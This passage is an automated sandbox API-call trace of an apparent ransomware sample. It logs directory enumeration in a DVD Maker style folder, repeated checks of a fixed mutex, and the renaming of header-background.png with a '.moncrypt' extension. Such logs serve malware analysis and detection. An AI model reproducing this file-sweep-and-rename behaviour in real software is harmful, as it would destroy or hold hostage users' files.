Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\header-background.png", dwFileAttributes=0x20) returned 0 [0058.735] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0058.735] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\header-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\header-background.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\header-background.png.moncrypt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\header-background.png.moncrypt")) returned 0 [0058.735] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0058.735] GlobalLock (hMem=0x44000c) returned 0x550170 [0058.735] GlobalHandle (pMem=0x550170) returned 0x44000c [0058.735] GlobalUnlock (hMem=0x44000c) returned 0 [0058.735] GlobalLock (hMem=0x44000c) returned 0x550170 [0058.735] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.735] GlobalHandle (pMem=0x550170) returned 0x44000c [0058.735] GlobalUnlock (hMem=0x44000c) returned 0 [0058.735] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.735] GlobalUnlock (hMem=0x440004) returned 0 [0058.735] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa108fe2a, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x442ced40, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x442ced40, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e240 [0058.736] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0058.736] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.736] GlobalLock (hMem=0x440004) returned 0x550170 [0058.736] GlobalHandle (pMem=0x550170) returned 0x440004 [0058.736] GlobalUnlock (hMem=0x440004) returned 0 [0058.736] GlobalLock (hMem=0x440004) returned 0x550170 [0058.736] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.736] GlobalHandle (pMem=0x550170) returned 0x440004 [0058.736] GlobalUnlock (hMem=0x440004) returned 0 [0058.736] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.736] GlobalUnlock (hMem=0x44000c) returned 0 [0058.736] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.736] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa108fe2a, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x442ced40, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x442ced40, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0058.736] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.736] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.736] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.736] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.736] GlobalUnlock (hMem=0x44000c) returned 0 [0058.736] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.736] GlobalLock (hMem=0x440004) returned 0x559b88 [0058.736] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.736] GlobalUnlock (hMem=0x44000c) returned 0 [0058.736] GlobalHandle (pMem=0x559b88) returned 0x440004 [0058.736] GlobalUnlock (hMem=0x440004) returned 0 [0058.737] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.737] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x726438ff, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x726438ff, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x552b87ab, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x701d, dwReserved0=0x0, dwReserved1=0x0, cFileName="16_9-frame-background.png", cAlternateFileName="")) returned 1 [0058.737] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.737] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.737] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.737] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.737] GlobalUnlock (hMem=0x440004) returned 0 [0058.737] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.737] GlobalLock (hMem=0x44000c) returned 0x559b88 [0058.737] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.737] GlobalUnlock (hMem=0x440004) returned 0 [0058.737] GlobalHandle (pMem=0x559b88) returned 0x44000c [0058.737] GlobalUnlock (hMem=0x44000c) returned 0 [0058.737] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.737] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x726438ff, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x726438ff, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x552b87ab, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x609, dwReserved0=0x0, dwReserved1=0x0, cFileName="16_9-frame-highlight.png", cAlternateFileName="")) returned 1 [0058.737] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.737] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.737] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.737] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.737] GlobalUnlock (hMem=0x44000c) returned 0 [0058.737] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.737] GlobalLock (hMem=0x440004) returned 0x559b88 [0058.737] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.737] GlobalUnlock (hMem=0x44000c) returned 0 [0058.737] GlobalHandle (pMem=0x559b88) returned 0x440004 [0058.737] GlobalUnlock (hMem=0x440004) returned 0 [0058.737] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.738] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72669a5c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72669a5c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x553c313d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc57, dwReserved0=0x0, dwReserved1=0x0, cFileName="16_9-frame-image-inset.png", cAlternateFileName="")) returned 1 [0058.738] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.738] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.738] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.738] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.738] GlobalUnlock (hMem=0x440004) returned 0 [0058.738] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.738] GlobalLock (hMem=0x44000c) returned 0x559b88 [0058.738] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.738] GlobalUnlock (hMem=0x440004) returned 0 [0058.738] GlobalHandle (pMem=0x559b88) returned 0x44000c [0058.738] GlobalUnlock (hMem=0x44000c) returned 0 [0058.738] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.738] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7268fbb9, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7268fbb9, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x553e929b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x213d, dwReserved0=0x0, dwReserved1=0x0, cFileName="btn-back-static.png", cAlternateFileName="")) returned 1 [0058.738] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.738] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.738] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.738] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.738] GlobalUnlock (hMem=0x44000c) returned 0 [0058.738] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.738] GlobalLock (hMem=0x440004) returned 0x559b88 [0058.738] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.738] GlobalUnlock (hMem=0x44000c) returned 0 [0058.738] GlobalHandle (pMem=0x559b88) returned 0x440004 [0058.738] GlobalUnlock (hMem=0x440004) returned 0 [0058.738] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.738] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7268fbb9, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7268fbb9, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x553e929b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1fb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="btn-next-static.png", cAlternateFileName="")) returned 1 [0058.738] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.739] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.739] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.739] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.739] GlobalUnlock (hMem=0x440004) returned 0 [0058.739] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.739] GlobalLock (hMem=0x44000c) returned 0x559b88 [0058.739] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.739] GlobalUnlock (hMem=0x440004) returned 0 [0058.739] GlobalHandle (pMem=0x559b88) returned 0x44000c [0058.739] GlobalUnlock (hMem=0x44000c) returned 0 [0058.739] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.739] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7268fbb9, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7268fbb9, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x553e929b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x20d6, dwReserved0=0x0, dwReserved1=0x0, cFileName="btn-previous-static.png", cAlternateFileName="")) returned 1 [0058.739] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.739] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.739] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.739] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.739] GlobalUnlock (hMem=0x44000c) returned 0 [0058.739] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.739] GlobalLock (hMem=0x440004) returned 0x559b88 [0058.739] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.739] GlobalUnlock (hMem=0x44000c) returned 0 [0058.739] GlobalHandle (pMem=0x559b88) returned 0x440004 [0058.739] GlobalUnlock (hMem=0x440004) returned 0 [0058.739] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.739] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x726b5d16, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x726b5d16, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x553e929b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x3c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="button-bullet.png", cAlternateFileName="")) returned 1 [0058.739] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.739] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.740] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.740] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.740] GlobalUnlock (hMem=0x440004) returned 0 [0058.740] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.740] GlobalLock (hMem=0x44000c) returned 0x559b88 [0058.740] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.740] GlobalUnlock (hMem=0x440004) returned 0 [0058.740] GlobalHandle (pMem=0x559b88) returned 0x44000c [0058.740] GlobalUnlock (hMem=0x44000c) returned 0 [0058.740] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.740] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x726b5d16, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x726b5d16, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x553e929b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="button-highlight.png", cAlternateFileName="")) returned 1 [0058.740] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.740] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.740] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.740] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.740] GlobalUnlock (hMem=0x44000c) returned 0 [0058.740] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.740] GlobalLock (hMem=0x440004) returned 0x559b88 [0058.740] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.740] GlobalUnlock (hMem=0x44000c) returned 0 [0058.740] GlobalHandle (pMem=0x559b88) returned 0x440004 [0058.740] GlobalUnlock (hMem=0x440004) returned 0 [0058.740] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.740] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x726dbe73, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x726dbe73, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5540f3f9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x47c1d, dwReserved0=0x0, dwReserved1=0x0, cFileName="content-background.png", cAlternateFileName="")) returned 1 [0058.740] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.740] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.740] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.740] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.741] GlobalUnlock (hMem=0x440004) returned 0 [0058.741] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.741] GlobalLock (hMem=0x44000c) returned 0x559b88 [0058.741] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.741] GlobalUnlock (hMem=0x440004) returned 0 [0058.741] GlobalHandle (pMem=0x559b88) returned 0x44000c [0058.741] GlobalUnlock (hMem=0x44000c) returned 0 [0058.741] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.741] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72701fd0, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72701fd0, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5540f3f9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11276, dwReserved0=0x0, dwReserved1=0x0, cFileName="header-background.png", cAlternateFileName="")) returned 1 [0058.741] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.741] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.741] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.741] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.741] GlobalUnlock (hMem=0x44000c) returned 0 [0058.741] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.741] GlobalLock (hMem=0x440004) returned 0x559b88 [0058.741] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.741] GlobalUnlock (hMem=0x44000c) returned 0 [0058.741] GlobalHandle (pMem=0x559b88) returned 0x440004 [0058.741] GlobalUnlock (hMem=0x440004) returned 0 [0058.741] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.741] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72701fd0, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72701fd0, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x55435557, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x3126b, dwReserved0=0x0, dwReserved1=0x0, cFileName="passport.png", cAlternateFileName="")) returned 1 [0058.741] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.741] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.741] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.741] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.741] GlobalUnlock (hMem=0x440004) returned 0 [0058.741] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.742] GlobalLock (hMem=0x44000c) returned 0x559b88 [0058.742] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.742] GlobalUnlock (hMem=0x440004) returned 0 [0058.742] GlobalHandle (pMem=0x559b88) returned 0x44000c [0058.742] GlobalUnlock (hMem=0x44000c) returned 0 [0058.742] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.742] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7272812d, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7272812d, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x55435557, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x10e94, dwReserved0=0x0, dwReserved1=0x0, cFileName="Passport.wmv", cAlternateFileName="")) returned 1 [0058.742] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.742] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.742] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.742] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.742] GlobalUnlock (hMem=0x44000c) returned 0 [0058.742] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.742] GlobalLock (hMem=0x440004) returned 0x559b88 [0058.742] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.742] GlobalUnlock (hMem=0x44000c) returned 0 [0058.742] GlobalHandle (pMem=0x559b88) returned 0x440004 [0058.742] GlobalUnlock (hMem=0x440004) returned 0 [0058.742] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.742] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x727e67fe, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x727e67fe, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5545b6b5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x58bf8, dwReserved0=0x0, dwReserved1=0x0, cFileName="passportcover.png", cAlternateFileName="")) returned 1 [0058.742] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.742] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.742] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.742] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.742] GlobalUnlock (hMem=0x440004) returned 0 [0058.742] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.742] GlobalLock (hMem=0x44000c) returned 0x559b88 [0058.742] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.743] GlobalUnlock (hMem=0x440004) returned 0 [0058.743] GlobalHandle (pMem=0x559b88) returned 0x44000c [0058.743] GlobalUnlock (hMem=0x44000c) returned 0 [0058.743] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.743] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7279a544, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7279a544, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5545b6b5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x7254, dwReserved0=0x0, dwReserved1=0x0, cFileName="PassportMask.wmv", cAlternateFileName="")) returned 1 [0058.743] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.743] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.743] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.743] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.743] GlobalUnlock (hMem=0x44000c) returned 0 [0058.743] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.743] GlobalLock (hMem=0x440004) returned 0x559b88 [0058.743] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.743] GlobalUnlock (hMem=0x44000c) returned 0 [0058.743] GlobalHandle (pMem=0x559b88) returned 0x440004 [0058.743] GlobalUnlock (hMem=0x440004) returned 0 [0058.743] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.743] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7279a544, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7279a544, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5545b6b5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x7254, dwReserved0=0x0, dwReserved1=0x0, cFileName="PassportMask_PAL.wmv", cAlternateFileName="")) returned 1 [0058.743] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.743] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.743] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.743] GlobalHandle (pMem=0x557b78) returned 